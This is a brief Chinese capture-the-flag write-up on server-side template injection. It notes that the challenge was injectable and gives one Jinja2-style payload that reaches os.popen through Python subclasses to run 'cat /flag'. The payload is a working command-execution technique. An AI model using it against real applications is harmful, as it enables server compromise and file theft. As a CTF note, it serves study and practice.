SSTI

这道题发现可以注入  构造payload：{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}} 得到flag